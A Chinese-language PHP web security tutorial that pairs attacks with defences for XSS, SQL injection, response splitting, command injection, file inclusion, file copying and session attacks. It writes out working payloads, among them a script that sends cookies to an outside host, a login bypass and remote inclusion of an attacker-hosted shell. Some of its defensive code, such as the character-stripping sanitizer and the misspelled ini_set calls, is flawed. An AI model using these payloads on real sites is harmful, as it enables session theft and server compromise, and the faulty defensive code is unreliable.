1. Cross Site Scripting (XSS) [Medium] 跨站脚本( XSS )属于 WEB 程序中的一类计算机安全漏洞,它允许在用户浏览的网页中注入恶意代码,比如 HTML 代码和客户端脚本。这类漏洞可被用于构造钓鱼攻击和浏览器攻击。 攻击: 攻击者在其请求中注入 HTML 代码。 //Exp 1: <?php $error_message = $_GET [ 'error' ]; print $error_message ; ?> index.php?error=<script>window.location=”www.getyourcookies.cc?C=”.document.cookie</script> 把这段代码分布到论坛或者其他地方,即可通过C获取别人的cookies . 防御: <?php $error_message = $_GET [ 'error' ]; print htmlspecialchars ( $error_message ); ?> 使用htmlspecialchars函数来将特殊字符转换成HTML编码 & (和号) 成为 & " (双引号) 成为 " ' (单引号) 成为 ' < (小于) 成为 < > (大于) 成为 > 2. SQL Injection [medium] SQL 注入是利用 WEB 程序数据层的安全漏洞进行代码注入的技术。当用户输入的数据中并未对嵌入的 SQL 声明语句进行正确过滤时,或者用户并没有被严格地限制输入,从而导致恶意代码被执行,就有可能造成 SQL 注入漏洞。这是一类很普遍的安全漏洞,它可在任何时候发生于被嵌入的编程或脚本语言之中。 Example 1: #login.php : <? //login.php -- SQL Injection Vulnerable page //Attack and defence php apps book //shahriyar - j $user = $_POST [ 'user' ]; $pass = $_POST [ 'pass' ]; $link = mysql_connect ( 'localhost' , 'root' , 'pass' ) or die( 'Error: ' . mysql_e rror ()); mysql_select_db ( "sql_inj" , $link ); $query = mysql_query ( "SELECT * FROM sql_inj WHERE user ='" . $user . "' AND pass ='" . $pass . "'" , $link ); if ( mysql_num_rows ( $query ) == 0 ) { echo "<scripttype=\"text/javascript\">window.location.href='index.html';</sc ript>" ; exit; } $logged = 1 ; ?> 当用户(可能为攻击者)发送 $_POST [ 'user' ] , $_POST [ 'pass' ] 给 login.php 时,这些变量直接存储在 SQL 请求命令中。如果攻击者发送: $user = 1' OR '1' = '1 $pass = 1' OR '1' = '1 将会绕过 login.php 的登陆验证 防御: 下面是通用的防注入代码: <?php $title = $_POST [ 'title' ]; // user input from site $description = $_POST [ 'description' ]; // user input from site // define the cleaner $dirtystuff = array( "\"" , "\\" , "/" , "*" , "'" , "=" , "- " , "#" , ";" , "<" , ">" , "+" , "%" ); // clean user input (if it finds any of the values above, it will replace it with whatever is in the quotes - in this example, it replaces the value with nothing) $title = str_replace ( $dirtystuff , "" , $title ); // works! $description = str_replace ( $dirtystuff , "" , $description ); // works! // input: I\ "like/ green< ** veg'et=a-bles> ;and< pizza** // output: I like green vegetables and pizza // input: a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '% // output: aDROP TABLE users SELECT FROM data WHERE name LIKE ?> mysql_real_escape_string 3. HTTP Response Splitting [Medium] HTTP响应拆分是由于攻击者经过精心设计利用电子邮件或者链接,让目标用户利用一个请求产生两个响应,前一个响应是服务器的响应,而后一个则是攻击者设计的响应。 回车换行符是响应之间的分界符。所以只要我们URL中加入\n\r,那么第二轮响应即会启动,且根据HTTP协议的规定这是完全正常的 可能遭受HTTP请求响应拆分的函数包括以下几个: header(); setcookie(); session_id(); setrawcookie(); HTTP响应拆分通常发生在:Location表头:将使用者的数据写入重定向的URL地址内 Set-Cookie表头:将使用者的数据写入cookies内 Example 1: <?php redirect_page = $_GET [ 'page' ]; header ( "Location: " . redirect_page ); ?> 首先,我们知道HTTP协议的工作方式是一个请求对应一个响应 攻击者发送一条包含一个值及两次响应的请求,使用%0d%0a进行分隔。如: http://localhost/test.php?page=http://localhost/test2.php%0d%0aContent-Length:%200%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified%3A%20Mon%2C%2027%20Oct%202080%2014%3A50%3A18%20GMTContent-Length:%2033%0d%0a%0d%0a%3Chtml%3EHacked%20by%20anonymous%21%3C%2fhtml%3E 对于http://localhost/test2.php,我们并不关心其响应本身及内容,只需将Content-Length:0充当响应头,紧接着一次回车换行(CRLF),然后输入构造好的第二次响应,如: HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 20
Hacked by anonymous! 这样攻击者就发送了一个将产生两次响应的请求,由于第二次响应还没有与之对应的请求,它将暂时挂起。 为了处理第二个挂起的响应,攻击者会立即向服务器发送一条有效的公开访问请求,比如 index.php。 GET /index.php HTTP/1.1
Host: localhost 这时第二次响应启动,攻击完成。 测试时只是给出了Hcaked by anonymous!这样一个警告页面,攻击者完全可以通过精心构造javascript代码,从而实现跨站(XSS)和跨站请求伪造(CSRF)等攻击。 防御: 1 <?php
header(“Location: ” . strtr($_GET['page'], array(“\r”=>””, “\n”=>””)));
?> 2. 使用最新版本的PHP(已经不允许在HTTP表头中出现换行字符)。 (5.2.6) 4.动态赋值漏洞 [High]: 1- 当使用动态函数加载时,可通过请求来执行指定的函数,导致攻击者可以执行任意函数。 攻击: <?php $myfunc = $_GET [ 'myfunc' ]; $myfunc (); ?> Index.php?myfunc=phpinfo 2- 全局函数漏洞 Register Global 是危险的“ PHP 扩展”: 当其打开时, register_globals 可利用各种变量注入脚本代码,比如来自 HTML 表单的请求。这种漏洞主要与 PHP 变量未初始化相关,以致轻而易举地即可向其写入恶意代码。 下面演示一个未使用 register_globals 的例子: Admin.php <?php if (isset( $is_admin )) { //Yes, I'm the admin so call the Administration Pannel [...] } else { //No, I'm not the admin [...] } ?> # admin.php?is_admin=1 \ 防御: 任何时候,任何情况下, Register Global 都应该关闭!: 5.进程控制 /PHP 代码注入 (HIGH): 当我们使用下列函数:“ PHP 进程执行函数 & 进程控制”,并且用户可以输入变量(见上面),那么将导致任意的 PHP 代码被执行。 PHP 进程控制列表: Exec system passthru shell_exec proc_open pcntl_exec Example 1: <?php $page = $_GET [ 'page' ]; system ( $page ); ?> # index.php?page= ls /etc/passwd | uname –a ?> 防御: 1、尽量不要执行外部命令,使用自定义函数或函数库来替代外部命令的功能 2、使用escapeshellarg函数来处理命令参数 3 使用safe_mode_exec_dir指定可执行文件的路径, 6. 本地 / 远程文件包含 (High): 本地或者远程文件包含是 PHP 代码审计中的高危漏洞,攻击者可利用它加载本地或者远程文件到 PHP WEB 页面。 危险函数: include include_once require require_once show_source highlight_file readfile file_get_contents fopen file 本地文件包含: <?php $query=$_GET[‘p’]; Include($query); ?> 在本地文件包含( LFI )攻击中,攻击者可读取对方主机中的任何日志文件和本地文件。也许这种文件浏览并不能造成多大危害,但攻击者可先构造一个错误,然后该错误会被记录在服务器上的日志文件中 (apache log / error log 等等 ) 。当攻击者向目标主机请求一个未存在的文件时: index.php?p=<?php;phpinfo();?> 然后加载error_log,就执行了<?php;phpinfo();?> ,这段php代码就是自己定了。可以写任意恶意代码 远程文件包含: 远程文件包含攻击允许恶意用户在存在漏洞的主机上运行自己的 PHP 代码,攻击者可包含存放在网上空间中用 PHP 编写的网页(恶意)代码。因此攻击者可以注入本地的恶意文件到 URL 中,并在目标服务器上执行: index.php?p=http://attacker.com/shell.php%00 防御 对输入数据进行精确匹配(或者白名单方式),比如根据变量的值确定语言en.php、cn.php,那么这两个文件放在同一个目录下’language/’.$_POST[‘lang’].’.php’,那么检查提交的数据是否是en 或者cn 是最严格的,检查是否只包含字母也不错 7. 文件管理 (HIGH): 有些 PHP 函数可用于文件管理,如果偷懒的程序员没有对输入变量进行很好地检测,那么就可能造成这种高危漏洞。 我们应该在程序中注意如下函数:copy、rmdir、unlink、delete、fwrite、chmod、fgetc、fgetcsv、fgets、fgetss、file、file_get_contents、fread、readfile、ftruncate、file_put_contents、fputcsv、fputs,但通常PHP 中每一个文件操作函数都可能是危险的 Copy 函数 : <?php $file = $_GET [ 'cpFile' ]; $newfile = "/user/local/www/html/tmp/file.php" ; if (! copy ( $file , $newfile )) { echo "failed to copy $file...\n" ; } else { echo " thanks .." } ?> 攻击者可以复制其它文件,比如 '/etc/passwd' into '$newfile' ,然后读取它。 http://victim.com/index.php?cpfile=/etc/passwd 防御 对提交数据进行严格匹配,限定文件可操作的目录 8. Cookie / Session injection [High]: session fixation(会话固定攻击) 任何促使受害用户使用攻击者提供的SESSION ID的方法都可以称之为SESSION伪造攻击,最简单的例子就是在一个链接中嵌入SESSION标识符: <a href=”http://www.wemvc.com/login.php?PHPSESSIONID=123123″>登录</a> 受害者点击了这个链接后将会把SESSION ID设置为123123.而且如果受害者在这个时候继续登录,攻击者就能够劫持他的SESSION用来提升自己的权限级别.甚至在购物类型网站中盗取他人帐户钱财. 防御 为了阻止这类攻击,在用户登陆后有效,或者要不然就是获得高权限后才有用。因此,如果当权限级别改变时(例如核实用户名和密码后),我们就应该修改即将重新生成的会话 ID ,这样我们才能真正地消除被 session fixation 攻击的风险。 会话劫持( Session Hijacking ) 话劫持是指攻击者利用各种手段来获取目标用户的session id。一旦获取到session id,那么攻击者可以利用目标用户的身份来登录网站,获取目标用户的操作权限。 攻击者获取目标用户session id的方法: 1)暴力破解:尝试各种session id,直到破解为止。 2)计算:如果session id使用非随机的方式产生,那么就有可能计算出来 3)窃取:使用网络截获,xss攻击等方法获得 防御 1)定期更改session id 函数 bool session_regenerate_id([bool delete_old_session]) delete_old_session为true,则删除旧的session文件;为false,则保留旧的session,默认false,可选 在index.php开头加上 session_start(); session_regenerate_id(TRUE); 这样每次从新加载都会产生一个新的session id 2)关闭透明化session id 透明化session id指当浏览器中的http请求没有使用cookies来制定session id时,sessioin id使用链接来传递;打开php.ini,编辑session.use_trans_sid = 0 或者代码中 int_set(“session.use_trans_sid”, 0); session_start(); 4)只从cookie检查session id session.use_cookies = 1 表示使用cookies存放session id session.use_only_cookies = 1 表示只使用cookies存放session id,这可以避免session固定攻击 代码中 int_set(“session.use_cookies”, 1); int_set(“session.use_only_cookies”, 1); p> 5)使用URL传递隐藏参数 session_start(); $seid = md5(uniqid(rand()), TRUE)); $_SESSION["seid"] = $seid; 攻击者虽然能获取session数据,但是无法得知$seid的值,只要检查seid的值,就可以确认当前页面是否是web程序自己调用的。
|